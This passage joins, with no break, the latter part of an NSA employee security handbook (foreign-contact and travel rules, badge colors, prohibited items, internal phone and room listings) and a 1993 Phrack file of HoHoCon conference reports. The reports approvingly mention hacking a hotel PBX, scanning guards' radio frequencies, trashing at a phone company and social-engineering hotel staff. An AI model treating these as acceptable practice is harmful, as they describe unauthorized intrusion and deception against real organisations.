Casual social associations with foreign nationals (other than those of the designated countries mentioned above) which arise from normal living and working arrangements in the community usually do not have to be reported. During the course of these casual social associations, you are encouraged to extend the usual social amenities. Do not act mysteriously or draw attention to yourself (and possibly to NSA) by displaying an unusually wary attitude.

Naturally, your affiliation with the Agency and the nature of your work should not be discussed. Again, you should be careful not to allow these associations to become close and continuing to the extent that they are characterized by ties of kinship, obligation, or affection.

If at any time you feel that a "casual" association is in any way suspicious, you should report this to your Staff Security Officer immediately. Whenever any doubt exists as to whether or not a situation should be reported or made a matter of record, you should decided in favor of reporting it. In this way, the situation can be evaluated on its own merits, and you can be advised as to your future course of action.

Correspondence With Foreign Nationals

NSA personnel are discouraged from initiating correspondence with individuals who are citizens of foreign countries. Correspondence with citizens of communist‑controlled or other designated countries is prohibited. Casual social correspondence, including the "penpal" variety, with other foreign acquaintances is acceptable and need not be reported. If, however, this correspondence should escalate in its frequency or nature, you should report that through your Staff Security Officer to the Clearance Division (M55).

Embassy Visits

Since a significant percentage of all espionage activity is known to be conducted through foreign embassies, consulates, etc., Agency policy discourages visits to embassies, consulates or other official establishments of a foreign government. Each case, however, must be judged on the circumstances involved. Therefore, if you plan to visit a foreign embassy for any reason (even to obtain a visa), you must consult with, and obtain the prior approval of, your immediate supervisor and the Security Awareness Division (M56).

Amateur Radio Activities

Amateur radio (ham radio) activities are known to be exploited by hostile intelligence services to identify individuals with access to classified information; therefore, all licensed operators are expected to be familiar with NSA/CSS Regulation 100‑1, "Operation of Amateur Radio Stations" (23 October 1986). The specific limitations on contacts with operators from communist and designated countries are of particular importance. If you are an amateur radio operator you should advise the Security Awareness Division (M56) of your amateur radio activities so that detailed guidance may be furnished to you.

Unofficial Foreign Travel

In order to further protect sensitive information from possible compromise resulting from terrorism, coercion, interrogation or capture of Agency personnel by hostile nations and/or terrorist groups, the Agency has established certain policies and procedures concerning unofficial foreign travel.

All Agency personnel (civilian employees, military assignees, and contractors) who are planning unofficial foreign travel must have that travel approved by submitting a proposed itinerary to the Security Awareness Division (M56) at least 30 working days prior to their planned departure from the United States. Your itinerary should be submitted on Form K2579 (Unofficial Foreign Travel Request). This form provides space for noting the countries to be visited, mode of travel, and dates of departure and return. Your immediate supervisor must sign this form to indicate whether or not your proposed travel poses a risk to the sensitive information, activities, or projects of which you may have knowledge due to your current assignment.

After your supervisor's assessment is made, this form should be forwarded to the Security Awareness Director (M56). Your itinerary will then be reviewed in light of the existing situation in the country or countries to be visited, and a decision for approval or disapproval will be based on this assessment. The purpose of this policy is to limit the risk of travel to areas of the world where a threat may exist to you and to your knowledge of classified Agency activities.

In this context, travel to communist‑controlled and other hazardous activity areas is prohibited. A listing of these hazardous activity areas is prohibited. A listing of these hazardous activity areas can be found in Annex A of NSA/CSS Regulation No. 30‑31, "Security Requirements for Foreign Travel" (12 June 1987). From time to time, travel may also be prohibited to certain areas where the threat from hostile intelligence services, terrorism, criminal activity or insurgency poses an unacceptable risk to Agency employees and to the sensitive information they possess. Advance travel deposits made without prior agency approval of the proposed travel may result in financial losses by the employee should the travel be disapproved, so it is important to obtain approval prior to committing yourself financially. Questions regarding which areas of the world currently pose a threat should be directed to the Security Awareness Division (M56).

Unofficial foreign travel to Canada, the Bahamas, Bermuda, and Mexico does not require prior approval, however, this travel must still be reported using Form K2579. Travel to these areas may be reported after the fact.

While you do not have to report your foreign travel once you have ended your affiliation with the Agency, you should be aware that the risk incurred in travelling to certain areas, from a personal safety and/or counterintelligence standpoint, remains high. The requirement to protect the classified information to which you have had access is a lifetime obligation.

Membership In Organizations

Within the United States there are numerous organizations with memberships ranging from a few to tens of thousands. While you may certainly participate in the activities of any reputable organization, membership in any international club or professional organization/activity with foreign members should be reported through your Staff Security Officer to the Clearance Division (M55). In most cases there are no security concerns or threats to our employees or affiliates. However, the Office of Security needs the opportunity to research the organization and to assess any possible risk to you and the information to which you have access.

In addition to exercising prudence in your choice of organizational affiliations, you should endeavor to avoid participation in public activities of a conspicuously controversial nature because such activities could focus undesirable attention upon you and the Agency. NSA employees may, however, participate in bona fide public affairs such as local politics, so long as such activities do not violate the provisions of the statutes and regulations which govern the political activities of all federal employees. Additional information may be obtained from your Personnel Representative.

Changes In Marital Status/Cohabitation/Names

All personnel, either employed by or assigned to NSA, must advise the Office of Security of any changes in their marital status (either marriage or divorce), cohabitation arrangements, or legal name changes. Such changes should be reported by completing NSA Form G1982 (Report of Marriage/Marital Status Change/Name Change), and following the instructions printed on the form.

Use And Abuse Of Drugs

It is the policy of the National Security Agency to prevent and eliminate the improper use of drugs by Agency employees and other personnel associated with the Agency. The term "drugs" includes all controlled drugs or substances identified and listed in the Controlled Substances Act of 1970, as amended, which includes but is not limited to: narcotics, depressants, stimulants, cocaine, hallucinogens ad cannabis (marijuana, hashish, and hashish oil). The use of illegal drugs or the abuse of prescription drugs by persons employed by, assigned or detailed to the Agency may adversely affect the national security; may have a serious damaging effect on the safety and the safety of others; and may lead to criminal prosecution. Such use of drugs either within or outside Agency controlled facilities is prohibited.

Physical Security Policies

The physical security program at NSA provides protection for classified material and operations and ensures that only persons authorized access to the Agency's spaces and classified material are permitted such access. This program is concerned not only with the Agency's physical plant and facilities, but also with the internal and external procedures for safeguarding the Agency's classified material and activities. Therefore, physical security safeguards include Security Protective Officers, fences, concrete barriers, access control points, identification badges, safes, and the compartmentalization of physical spaces. While any one of these safeguards represents only a delay factor against attempts to gain unauthorized access to NSA spaces and material, the total combination of all these safeguards represents a formidable barrier against physical penetration of NSA. Working together with personnel security policies, they provide "security in depth."

The physical security program depends on interlocking procedures. The responsibility for carrying out many of these procedures rests with the individual. This means you, and every person employed by, assign, or detailed to the Agency, must assume the responsibility for protecting classified material. Included in your responsibilities are: challenging visitors in operational areas; determining "need‑to‑know;" limiting classified conversations to approved areas; following established locking and checking procedures; properly using the secure and non‑secure telephone systems; correctly wrapping and packaging classified data for transmittal; and placing classified waste in burn bags.

The NSA Badge

Even before you enter an NSA facility, you have a constant reminder of security‑‑the NSA badge. Every person who enters an NSA installation is required to wear an authorized badge. To enter most NSA facilities your badge must be inserted into an Access Control Terminal at a building entrance and you must enter your Personal Identification Number (PIN) on the terminal keyboard. In the absence of an Access Control Terminal, or when passing an internal security checkpoint, the badge should be held up for viewing by a Security Protective Officer. The badge must be displayed at all times while the individual remains within any NSA installation.

NSA Badges must be clipped to a beaded neck chain. If necessary for the safety of those working in the area of electrical equipment or machinery, rubber tubing may be used to insulate the badge chain. For those Agency personnel working in proximity to other machinery or equipment, the clip may be used to attach the badge to the wearer's clothing, but it must also remain attached to the chain.

After you leave an NSA installation, remove your badge from public view, thus avoiding publicizing your NSA affiliation. Your badge should be kept in a safe place which is convenient enough to ensure that you will be reminded to bring it with you to work. A good rule of thumb is to afford your badge the same protection you give your wallet or your credit cards. DO NOT write your Personal Identification Number on your badge.

If you plan to be away from the Agency for a period of more than 30 days, your badge should be left at the main Visitor Control Center which services your facility.

Should you lose your badge, you must report the facts and circumstances immediately to the Security Operations Center (SOC) (963‑3371s/688‑6911b) so that your badge PIN can be deactivated in the Access Control Terminals. In the event that you forget your badge when reporting for duty, you may obtain a "non‑retention" Temporary Badge at the main Visitor Control Center which serves your facility after a co‑worker personally identifies your and your clearance has been verified.

Your badge is to be used as identification only within NSA facilities or other government installations where the NSA badge is recognized. Your badge should never be used outside of the NSA or other government facilities for the purpose of personal identification. You should obtain a Department of Defense identification card from the Civilian Welfare Fund (CWF) if you need to identify yourself as a government employee when applying for "government discounts" offered at various commercial establishments.

Your badge color indicates your particular affiliation with NSA and your level of clearance. Listed below are explanations of the badge colors you are most likely to see:

Green (*) Fully cleared NSA employees and certain military assignees.

Orange (*) (or Gold) Fully cleared representative of other government agencies.

Black (*) Fully cleared contractors or consultants.

Blue Employees who are cleared to the SECRET level while awaiting completion of their processing for full (TS/SI) clearance. These Limited Interim Clearance (LIC) employees are restricted to certain activities while inside a secure area.

Red Clearance level is not specified, so assume the holder is uncleared.

* ‑ Fully cleared status means that the person has been cleared to the Top Secret (TS) level and indoctrinated for Special Intelligence (SI).

All badges with solid color backgrounds (permanent badges) are kept by individuals until their NSA employment or assignment ends. Striped badges ("non‑retention" badges) are generally issued to visitors and are returned to the Security Protective Officer upon departure from an NSA facility.

Area Control

Within NSA installations there are generally two types of areas, Administrative and Secure. An Administrative Area is one in which storage of classified information is not authorized, and in which discussions of a classified nature are forbidden. This type of area would include the corridors, restrooms, cafeterias, visitor control areas, credit union, barber shop, and drugstore. Since uncleared, non‑NSA personnel are often present in these areas, all Agency personnel must ensure that no classified information is discussed in an Administrative Area.

Classified information being transported within Agency facilities must be placed within envelopes, folders, briefcases, etc. to ensure that its contents or classification markings are not disclosed to unauthorized persons, or that materials are not inadvertently dropped enroute.

The normal operational work spaces within an NSA facility are designated Secure Areas. These areas are approved for classified discussions and for the storage of classified material. Escorts must be provided if it is necessary for uncleared personnel (repairmen, etc.) to enter Secure Areas, an all personnel within the areas must be made aware of the presence of uncleared individuals. All unknown, unescorted visitors to Secure Areas should be immediately challenged by the personnel within the area, regardless of the visitors' clearance level (as indicated by their badge color).

The corridor doors of these areas must be locked with a deadbolt and all classified information in the area must be properly secured after normal working hours or whenever the area is unoccupied. When storing classified material, the most sensitive material must be stored in the most secure containers. Deadbolt keys for doors to these areas must be returned to the key desk at the end of the workday.

For further information regarding Secure Areas, consult the Physical Security Division (M51) or your staff Security Officer.

Items Treated As Classified

For purposes of transportation, storage and destruction, there are certain types of items which must be treated as classified even though they may not contain classified information. Such items include carbon paper, vu‑graphs, punched machine processing cards, punched paper tape, magnetic tape, computer floppy disks, film, and used typewriter ribbons. This special treatment is necessary since a visual examination does not readily reveal whether the items contain classified information.

Prohibited Items

Because of the potential security or safety hazards, certain items are prohibited under normal circumstances from being brought into or removed from any NSA installation. These items have been groped into two general classes. Class I prohibited items are those which constitute a threat to the safety and security of NSA/CSS personnel and facilities. Items in this category include:

a. Firearms and ammunition

b. Explosives, incendiary substances, radioactive materials, highly volatile materials, or other hazardous materials c. Contraband or other illegal substances

d. Personally owned photographic or electronic equipment including microcomputers, reproduction or recording devices, televisions or radios.

Prescribed electronic medical equipment is normally not prohibited, but requires coordination with the Physical Security Division (M51) prior to being brought into any NSA building.

Class II prohibited items are those owned by the government or contractors which constitute a threat to physical, technical, or TEMPEST security. Approval by designated organizational officials is required before these items can be brought into or removed from NSA facilities. Examples are:

a. Transmitting and receiving equipment

b. Recording equipment and media

c. Telephone equipment and attachments

d. Computing devices and terminals

e. Photographic equipment and film

A more detailed listing of examples of Prohibited Items may be obtained from your Staff Security Officer or the Physical Security Division (M51).

Additionally, you may realize that other seemingly innocuous items are also restricted and should not be brought into any NSA facility. Some of these items pose a technical threat; others must be treated as restricted since a visual inspection does not readily reveal whether they are classified. These items include:

a. Negatives from processed film; slides; vu‑graphs b. Magnetic media such as floppy disks, cassette tapes, and VCR videotapes

c. Remote control devices for telephone answering machines d. Pagers

Exit Inspection

As you depart NSA facilities, you will note another physical security safeguard‑‑the inspection of the materials you are carrying. This inspection of your materials, conducted by Security Protective Officers, is designed to preclude the inadvertent removal of classified material. It is limited to any articles that you are carrying out of the facility and may include letters, briefcases, newspapers, notebooks, magazines, gym bags, and other such items. Although this practice may involve some inconvenience, it is conducted in your best interest, as well as being a sound security practice. The inconvenience can be considerably reduced if you keep to a minimum the number of personal articles that you remove from the Agency.

Removal Of Material From NSA Spaces

The Agency maintains strict controls regarding the removal of material from its installations, particularly in the case of classified material.

Only under a very limited and official circumstances classified material be removed from Agency spaces. When deemed necessary, specific authorization is required to permit an individual to hand carry classified material out of an NSA building to another Secure Area. Depending on the material and circumstances involved, there are several ways to accomplish this.

A Courier Badge authorizes the wearer, for official purposes, to transport classified material, magnetic media, or Class II prohibited items between NSA facilities. These badges, which are strictly controlled, are made available by the Physical Security Division (M51) only to those offices which have specific requirements justifying their use.

An Annual Security Pass may be issued to individuals whose official duties require that they transport printed classified materials, information storage media, or Class II prohibited items to secure locations within the local area. Materials carried by an individual who displays this pass are subject to spot inspection by Security Protective Officers or other personnel from the Office of Security. It is not permissible to use an Annual Security Pass for personal convenience to circumvent inspection of your personal property by perimeter Security Protective Officers.

If you do not have access to a Courier Badge and you have not been issued an Annual Security Pass, you may obtain a One‑Time Security Pass to remove classified materials/magnetic media or admit or remove prohibited items from an NSA installation. These passes may be obtained from designated personnel in your work element who have been given authority to issue them. The issuing official must also contact the Security Operations Center (SOC) to obtain approval for the admission or removal of a Class I prohibited item.

When there is an official need to remove government property which is not magnetic media, or a prohibited or classified item, a One‑Time Property Pass is used. This type of pass (which is not a Security Pass) may be obtained from your element custodial property officer. A Property Pass is also to be used when an individual is removing personal property which might be reasonably be mistaken for unclassified Government property. This pass is surrendered to the Security Protective Officer at the post where the material is being removed. Use of this pass does not preclude inspection of the item at the perimeter control point by the Security Protective Officer or Security professionals to ensure that the pass is being used correctly.

External Protection Of Classified Information

On those occasions when an individual must personally transport classified material between locations outside of NSA facilities, the individual who is acting as the courier must ensure that the material receives adequate protection. Protective measures must include double wrapping and packaging of classified information, keeping the material under constant control, ensuring the presence of a second appropriately cleared person when necessary, and delivering the material to authorized persons only. If you are designated as a courier outside the local area, contact the Security Awareness Division (M56) for your courier briefing.

Even more basic than these procedures is the individual security responsibility to confine classified conversations to secure areas. Your home, car pool, and public places are not authorized areas to conduct classified discussions‑‑even if everyone involved in he discussion possesses a proper clearance and "need‑to‑know." The possibility that a conversation could be overheard by unauthorized persons dictates the need to guard against classified discussions in non‑secure areas.

Classified information acquired during the course of your career or assignment to NSA may not be mentioned directly, indirectly, or by suggestion in personal diaries, records, or memoirs.

Reporting Loss Or Disclosure Of Classified Information

The extraordinary sensitivity of the NSA mission requires the prompt reporting of any known, suspected, or possible unauthorized disclosure of classified information, or the discovery that classified information may be lost, or is not being afforded proper protection. Any information coming to your attention concerning the loss or unauthorized disclosure of classified information should be reported immediately to your supervisor, your Staff Security Officer, or the Security Operations Center (SOC).

Use Of Secure And Non‑Secure Telephones

Two separate telephone systems have been installed in NSA facilities for use in the conduct of official Agency business: the secure telephone system (gray telephone) and the outside, non‑secure telephone system (black telephone). All NSA personnel must ensure that use of either telephone system does not jeopardize the security of classified information.

The secure telephone system is authorized for discussion of classified information. Personnel receiving calls on the secure telephone may assume that the caller is authorized to use the system. However, you must ensure that the caller has a "need‑to‑know" the information you will be discussing.

The outside telephone system is only authorized for unclassified official Agency business calls. The discussion of classified information is not permitted on this system. Do not attempt to use "double‑talk" in order to discuss classified information over the non‑secure telephone system.

In order to guard against the inadvertent transmission of classified information over a non‑secure telephone, and individual using the black telephone in an area where classified activities are being conducted must caution other personnel in the area that the non‑secure telephone is in use. Likewise, you should avoid using the non‑secure telephone in the vicinity of a secure telephone which is also in use.

HELPFUL INFORMATION

Security Resources

In the fulfillment of your security responsibilities, you should be aware that there are many resources available to assist you. If you have any questions or concerns regarding security at NSA or your individual security responsibilities, your supervisor should be consulted. Additionally, Staff Security Officers are appointed to the designated Agency elements to assist these organizations in carrying out their security responsibilities. There is a Staff Security Officer assigned to each organization; their phone numbers are listed at the back of this handbook. Staff Security Officers also provide guidance to and monitor the activities of Security Coordinators and Advisors (individuals who, in addition to their operational duties within their respective elements, assist element supervisors or managers in discharging security responsibilities).

Within the Office of Security, the Physical Security Division (M51) will offer you assistance in matters such as access control, security passes, clearance verification, combination locks, keys, identification badges, technical security, and the Security Protective Force. The Security Awareness Division (M56) provides security guidance and briefings regarding unofficial foreign travel, couriers, special access, TDY/PCS, and amateur radio activities. The Industrial and Field Security Division (M52) is available to provide security guidance concerning NSA contractor and field site matters.

The Security Operations Center (SOC) is operated by two Security Duty Officers (SDOs), 24 hours a day, 7 days a week. The SDO, representing the Office of Security, provides a complete range of security services to include direct communications with fire and rescue personnel for all Agency area facilities. The SDO is available to handle any physical or personnel problems that may arise, and if necessary, can direct your to the appropriate security office that can assist you. After normal business hours, weekends, and holidays, the SOC is the focal point for all security matters for all Agency personnel and facilities (to include Agency field sites and contractors). The SOC is located in Room 2A0120, OPS 2A building and the phone numbers are 688‑6911(b), 963‑3371(s).

However, keep in mind that you may contact any individual or any division within the Office of Security directly. Do not hesitate to report any information which may affect the security of the Agency's mission, information, facilities or personnel.

Security‑Related Services

In addition to Office of Security resources, there are a number of professional, security‑related services available for assistance in answering your questions or providing the services which you require.

The Installations and Logistics Organization (L) maintains the system for the collection and destruction of classified waste, and is also responsible for the movement and scheduling of material via NSA couriers and the Defense Courier Service (DCS). Additionally, L monitors the proper addressing, marking, and packaging of classified material being transmitted outside of NSA; maintains records pertaining to receipt and transmission of controlled mail; and issues property passes for the removal of unclassified property.

The NSA Office of Medical Services (M7) has a staff of physicians, clinical psychologists and an alcoholism counselor. All are well trained to help individuals help themselves in dealing with their problems. Counseling services, with referrals to private mental health professionals when appropriate, are all available to NSA personnel. Appointments can be obtained by contacting M7 directly. When an individual refers himself/herself, the information discussed in the counseling sessions is regarded as privileged medical information and is retained exclusively in M7 unless it pertains to the national security.

Counselling interviews are conducted by the Office of Civilian Personnel (M3) with any civilian employee regarding both on and off‑the‑job problems. M3 is also available to assist all personnel with the personal problems seriously affecting themselves or members of their families. In cases of serious physical or emotional illness, injury, hospitalization, or other personal emergencies, M3 informs concerned Agency elements and maintains liaison with family members in order to provide possible assistance. Similar counselling services are available to military assignees through Military Personnel (M2).

GUIDE TO SECURITY

M51 PHYSICAL SECURITY 963‑6651s/688‑8293b (FMHQ) 968‑8101s/859‑6411b (FANX)

CONFIRM and badges Prohibited Items (963‑6611s/688‑7411b)

Locks, keys, safes and alarms SOC (963‑3371s/688‑6911b) Security/vehicle passes NSA facility protection and compliance Visitor Control

Inspections

Red/blue seal areas New Construction

Pass Clearances (963‑4780s/688‑6759b)

M52 INDUSTRIAL AND FIELD SECURITY

982‑7918s/859‑6255b

Security at contractor field site facilities

Verification of classified mailing addresses for contractor facilities

M53 INVESTIGATIONS 982‑7914s/859‑6464b

Personnel Interview Program (PIP) Reinvestigations

Military Interview Program (MIP) Special investigations

M54 COUNTERINTELLIGENCE 982‑7832s/859‑6424b

Security counterintelligence analysis Security compromises

M55 CLEARANCES 982‑7900s/859‑4747b

Privacy Act Officer (For review of security files) Continued SCI access Contractor/applicant processing Military access

M56 SECURITY AWARENESS 963‑3273s/688‑6535b

Security indoctrinations/debriefings Embassy visits Associations with foreign nationals Briefings (foreign travel,

Security Week ham radio, courier,

Security posters, brochures, etc. LIC, PCS, TDY,

special access, etc.)

Foreign travel approval

Military contractor orientation

Special Access Office (963‑5466s/688‑6353b)

M57 POLYGRAPH 982‑7844s/859‑6363b

Polygraph interviews

M509 MANAGEMENT AND POLICY STAFF 982‑7885s/859‑6350b

STAFF SECURITY OFFICERS (SSOs)

Element Room Secure/Non‑Secure

A 2A0852B 963‑4650/688‑7044

B 3W099 963‑4559/688‑7141 D/Q/J/N/U 2B8066G 963‑4496/688‑6614

E/M D3B17 968‑8050/859‑6669

G 9A195 963‑5033/688‑7902

K 2B5136 963‑1978/688‑5052

L SAB4 977‑7230/688‑6194

P 2W091 963‑5302/688‑7303

R B6B710 968‑4073/859‑4736 S/V/Y/C/X C2A55 972‑2144/688‑7549

T 2B5040 963‑4543/688‑7364

W 1C181 963‑5970/688‑7061

GUIDE TO SECURITY‑RELATED SERVICES

Agency Anonymity 968‑8251/859‑4381

Alcohol Rehabilitation Program 963‑5420/688‑7312

Cipher Lock Repair 963‑1221/688‑7119

Courier Schedules (local) 977‑7197/688‑7403

Defense Courier Service 977‑7117/688‑7826

Disposal of Classified Waste

‑ Paper only 972‑2150/688‑6593 ‑ Plastics, Metal, Film, etc 963‑4103/688‑7062

Locksmith 963‑3585/688‑7233

Mail Dissemination and Packaging 977‑7117/688‑7826

Medical Center (Fort Meade) 963‑5429/688‑7263 (FANX) 968‑8960/859‑6667 (Airport Square) 982‑7800/859‑6155

NSA/CSS Information Policy Division 963‑5825/688‑6527 Personnel Assistance

‑ Civilian 982‑7835/859‑6577 ‑ Air Force 963‑3239/688‑7980 ‑ Army 963‑3739/688‑6393 ‑ Navy 963‑3439/688‑7325

Property Passes (unclassified material) 977‑7263/688‑7800 Psychological Services 963‑5429/688‑7311

FREQUENTLY USED ACRONYMS/DESIGNATORS

ARFCOS Armed Forces Courier Service (now known as DCS)

AWOL Absent Without Leave

CAO Classification Advisory Officer

COB Close of Business

CWF Civilian Welfare Fund

DCS Defense Courier Service (formerly known as ARFCOS)

DoD Department of Defense

EOD Enter on Duty

FOUO For Official Use Only

M2 Office of Military Personnel

M3 Office of Civilian Personnel

M5 Office of Security

M7 Office of Medical Services

NCS National Cryptologic School

PCS Permanent Change of Station

PIN Personal Identification Number

Q43 Information Policy Division

SDO Security Duty Officer

SOC Security Operations Center

SPO Security Protective Officer

SSO Staff Security Officer

TDY Temporary Duty

UFT Unofficial Foreign Travel

A FINAL NOTE

The information you have just read is designed to serve as a guide to assist you in the conduct of your security responsibilities. However, it by no means describes the extent of your obligation to protect information vital to the defense of our nation. Your knowledge of specific security regulations is part of a continuing process of education and experience. This handbook is designed to provide he foundation of this knowledge and serve as a guide to the development of an attitude of security awareness.

In the final analysis, security is an individual responsibility. As a participant in the activities of the National Security Agency organization, you are urged to be always mindful of the importance of the work being accomplished

Ho Ho Con Miscellany

==Phrack Magazine==

Volume Five, Issue Forty‑Five, File 11 of 28

****************************************

Ho Ho Con Miscellany

HoHoCon '93 review from the European point of view

<=======================================

This is Onkel Dittmeyer telling you his experiences at

the HoHoCon, which no‑one really gives a @#*! about.

It might be fun reading anyway.

" Maybe I am just a lumpy coder, but at least my

dad is not selling WOMEN'S SHOES. "

‑ Guess Who

I arrived at the con one day too early, before anyone else

had showed up, and started striving through the

neighborhood. Well, this looked like fun. The Hilton and the Super‑8 were, along with a mall and a South Western Bell building with light‑at‑night, wide open, overflowing

dumpsters situated between highways, a couple miles outside

of town. Cool. Used to Europe, where there is more public transportation than cars on the street, I was kinda stuck in there, so I spent my time chatting with the front desk clerk

of the motel ("Monty? Ahh, ya mean Monty from the hotel security? Well, don't spread the word, he has a penis problem.."). Everybody was able to confirm this a day

later during on a police raid, but let's save that for

later. So stuck between a WAL‑MART ("SHOTGUNS! ON SALE! JUST $99"), a movie theater and a cheap mall I spent this day sipping complimentary tea at the front desk and watching Wayne's World 2. ("A Unix Book. Cool.")

On the next day, all kinds of people started to flow in, and

I spent my time following around various people since I came

to the con alone, not seeing one familiar face around. I

bumped into Minor Threat and his trusty friend Mucho plus

a bunch of other guys trying to fix something with ToneLoc. Walking around a little more, I ran into some dudes that

were busy hacking into the hotel's PBX using its 1200‑bps line.. Walking over to the Hilton, I found a tone in a wall jack and called home. Still talking, hunger overcame me and

I decided to go to the mall and grab munchies. Walking past

the Hilton's pool, a kid was trying to fish his scanner out

of the water. Remember: A PRO‑43 does NOT stay afloat! Later that night, the whole place was pretty crowded already. It

was unreal. The lobby was crowded by at least two dozen scanner‑wielding kids, trying to find the frequency for the hotel security. The guards must have been felt pretty

strange ‑ each time they talked, something like five people with frequency counters walked past them. Finally, the word spread (466.025/825) and each time some guard started

talking, it was echoing back over everyone's scanner in a two‑mile range around the party place. I soon left the 3L3eT pIt and hung out with AKA to play some stupid games ("Oh, there

is a calling card on the floor." "Where??" "You can't see it, its eleet!") when we saw red and blue lights in front of the Super‑8 Motel. Three cop‑cars had arrived, and they busted

an about 14‑years old kid for scanning local numbers from

his motel room. While everybody stood around in front of the room where they hold (or ABUSED) the kid, people were

thinking if this would be legal, arresting and squeezing

this kid with no lawyer and no parents around, they sped past us with their victim, and someone told the kid that it was his constitutional right to remain silent until he would get a lawyer or at least a parent. And guess: The cops pulled the

guy out and told him that he should not stand around and

advise people about their constitutional rights. Quote:

" This is the manager, this is a police officer, I am the security guard. LEAVE! " ‑ "And I will NOT leave." Good

thing that someone was videotaping the whole thing. So much action, and the con hadn't even started. Tired of so eViL K‑r0cKinG rAcIsM I stumbled to my room and fell asleep on

some standup comedy on TV. Tomorrow was the con!

The next morning around 9, I found the food court in the

mall crowded. It seemed like everybody on the con was going

to eat the last time for his life, or at least the last

time before the 6‑hour Con‑A‑Thon started. Walking around in the empty conference room, some hotel employee asked me "HoHoCon? Is this like a Santa Claus meeting or something?" Maybe it was just cause I wore a santa‑hat. When Drunkfux finally started the meeting one hour late I found myself squashed in between some system administrator and another

guy from some three‑letter‑agency that typed everything that was said into his laptop at something like 2.000.000

characters a second. Scared shitless, I was listening to the events, still a little drowsy from very little sleep the

last night ‑ I only remember Cap'n Crunch talking about

boxing in Russia (something that interested me, at least),

and the LOD members talking about some data preservation project ‑ if you are interested what in detail was talked about, I'm sure Drunkfux will sell you the videotape for a couple hundred $. In a break, he was selling merchandise,

and I think he didn't look more happy during the whole con

than in the moment everybody was waving with twenty‑dollar bills.. Phat pockets was also what the LOD guys were looking for.. (just in case you don't know: They are collecting old message boards and sell the printout for something like $35).

After this sellout session, I found a sign on the wall: "hoho.con.com ‑‑‑>", and, in room 260 someone piled up an enormous mass of equipment, including something like 4 UNIX machines, a SLIP connection, 20" screens, PET's.. Plus, the room was stacked with 30‑40 people, and I mean STACKED. Most people were wasting their time entering commands like

"mget /warez/eleet/hot/0‑day/*.*" Sick of that, I grabbed a

bunch of people and we went trashing at SW‑Bell around the block, and whoops! we found a diagram like this:

(Europe) (Asia) (Australia)

______

____| |____

| |

| Texas o <====== Austin

\ /

\ /

\_________/

(North America) (South America)

Now we know it: South Western Bell believes that Austin, Texas, is the center of the world. Well, from the 17th to the 19th of December, 1993, it was.

TEN THINGS I LEARNED AT HOHOCON '93

1. Social‑Engineering the front‑desk clerk PAYS!

2. If you drink 20 cups of complimentary tea, they WILL hassle you. 3. If the guard hears his voice over your scanner, he WILL hassle you. 4. If you sign on as CLIFF STOLL and pay cash, they WONT hassle you. 5. Don't scan from a hotel room. But feel free to hack the PBX. 6. Pizza Hut accepts all major credit cards.

7. Austin, Texas, is the center of the universe.

8. Some people really want room service in a Super‑8 Motel. 9. A radio shack is not lighter than water nor water‑proof. 10. Barney is a purple penis.

Shouts to Tr8or and SevenUp: Why didn't you join me?

Write to onkeld@ponton.hanse.de for further discussion....

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Conference Behavior ‑ a Study of the Lame and the Damned

by Holistic Hacker/R2

[This little file was inspired by a talk Phantom Phreaker and I had at HoHoCon last year, after some of the stupid shit that went on at it and SummerCon. The rough draft was written on my laptop on the flight back from Austin.]

It seems some little kids are having problems figuring out how to act at the various hacker cons around the country. Hacking has nothing to do with how many smoke bombs you can drop in the hotel or how many fire extinguishers you steal. If you lamers think that being away from mommy for the first time in your life means that you can trash a hotel, then do it. By all means make it a local one first, so Mom and Dad can bail your sorry ass out of jail.

I get really tired of going to a con and some little punk wants to play eleet anarchist and then the cops show. Cons are a chance to learn and/or share info, see people, and have a good time. Shit like what has happened this last year just isn't needed. All that comes out of stupid actions is a bad rap on the "underground." Some friends and I were in the hotel bar Saturday night and the bartender was telling us how the hotel people were really getting tired of the lame shit.

I was in one room Saturday night, swapping files and talking when the smoke alarm went off at 3 AM or so. I bet whoever did it got a real kick seeing all of the people up, and he probably creamed his jeans when the fire truck showed up. Emergency personnel don't need to waste their time on wannabe anarchist weenies, it isn't their job.

Another brilliant soul decided to set off one of the fire extinguishers in the Super 8. I saw other jerks trying to wake up the people on the top two floors of the Hilton at 2 in the morning. I saw another guy carrying two extinguishers off, and he didn't look like hotel staff. Another genius tried cutting a hole in the vending machine with a glass cutter. Just because it isn't your property means you can trash it. The fucked‑up elevator control panels, the damaged exit signs, etc. are costs the hotel passes on to the customers and to us. Even worse, when the word gets out, the hotels don't want the cons back. Why would they want to rent us rooms, if they are just gonna get trashed? If this is how you want cons to be, then hold your own.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

All typos are intentional. The following summary of HohoCon 93 is based solely upon my perceptions and are subject to the laws of physics. Take these comments as you see them.

By Frosty

First off, there was a $5 charge at the door. This also entitled you to partake in the raffle offered of lame‑to‑cool objects. $100 would rig the raffle in your favor. One person walked away with a full //e system, and

another with a 486 system.

The Conference ‑‑‑

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Bruce Sterling ‑ A humorous talk that thrashed virii. Informed us of the #1 anti‑virii person in Russia, Dimitri. Generously gave away several copies of "The Hacker Crackdown" on disk. Famous quote, "Information wants to be free."

Ray Kaplan ‑ A humorous security consultant. Wants to establish a site for security holes to be available. Had a brief Q&A session. Wants interaction between the security consultants and hackers. Also stressed protecting information and privacy.

Douglas Barnes ‑ Representatives from CypherPunks. Works in cryptography. Jim Famous quote, "I want to talk to my lawyer." Another quote, "Hackers are requested to call between 9 and 5." There are several Fidonet sites not allowing encrypted messages to go through. The liability decreases with a site allowing encrypted messages. ViaCrypt PGP is the legal version of PGP. Another quote, "A triple DES file is as good as unbreakable." Pushed the book "Applied Cryptography." Working on a digital Credit Union. System Administrators are not responsible for passing codes. Quote, "The net perceives censorship and routes around it."

Grayareas ‑ Made a magazine plug. Looking for information for the 'zine.

Damien Thorn ‑ Works on the 'zine "Nuts and Bolts." Talked about cellular tracking and hacking. Informed that a cell hacking program can be obtained from mkl@nw.com.

Captain Crunch ‑ Talked on the San Francisco raves and how they utilized aka John Draper networking and encryption to get their rave information out. Gave history and information on hacking Soviet phones and the KGB lines.

Simmion ‑ Attendee from Moscow. Stated there was no evidence of virii being highly prolific in Russia. Almost all software is free in Russia. Most conferences in Russia are done by BBS's. Russians can not afford the high software prices legally.

